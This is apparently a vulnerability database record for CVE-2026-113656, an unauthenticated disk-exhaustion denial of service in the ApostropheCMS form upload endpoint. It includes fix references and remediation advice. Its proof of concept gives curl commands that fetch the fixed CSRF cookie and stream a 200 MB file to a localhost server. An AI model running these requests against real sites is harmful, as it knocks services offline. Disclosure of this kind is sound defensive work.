{"id":"CVE-2026-113656","aliases":["GHSA-89mh-mm8c-mv7f"],"url":"https://o3.security/vulnerability/CVE-2026-113656","summary":"ApostropheCMS: Unauthenticated unbounded multipart upload → disk-exhaustion DoS","details":"**Summary**\nThe form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.\n\n**Details**\n`packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. \"CSRF\" is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.\n\n**PoC**\n```\n$ curl -s -c csrfjar.cookies http://localhost:3100/        # get vulnlab.csrf=csrf (any GET)\n$ df -P /tmp                                                # before: used=1105212\n$ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \\\n      -F \"file=@/tmp/opencode/big.bin;type=application/octet-stream\" &\n   DURING transfer:    used=1148668\n   still transferring: used=1226936        # +121MB mid-transfer on disk\n   http=500 time=1.78s sent=209715411B     # generic error AFTER full staging\n# Anonymous, zero credentials. 200MB written to /tmp pre-validation.\n```\n\n**Impact**\nAny unauthenticated client can force the server to persist entire request bodies to the temp filesystem and CPU-decode them; parallel requests exhaust disk `/tmp` (process/host crash) and saturate the event loop — a trivial remote DoS. Aborted transfers risk orphaning staged files (no `req.aborted` cleanup).\n\n\n**Remediation** — Set multer `limits` (fileSize, fields, parts, fieldSize); perform auth/role/existence checks before the multer mount or inside the checked handler; unlink staged files on first read and on `req.aborted`/error; add per-IP rate limiting.","published":"2026-10-20T16:49:36.239Z","modified":"2026-10-24T02:48:20.764308313Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"@apostrophecms/form","fixedVersion":"1.5.5"}],"fix":{"url":"https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","label":"apostrophecms/apostrophe@9500b8b"},"references":[{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/releases/tag/@apostrophecms/form@1.5.5"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113656.json"},{"type":"ADVISORY","url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-89mh-mm8c-mv7f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113656"},{"type":"FIX","url":"https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"},{"type":"FIX","url":"https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"},{"type":"PACKAGE","url":"https://github.com/apostrophecms/apostrophe"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T02:48:20.764308313Z"}}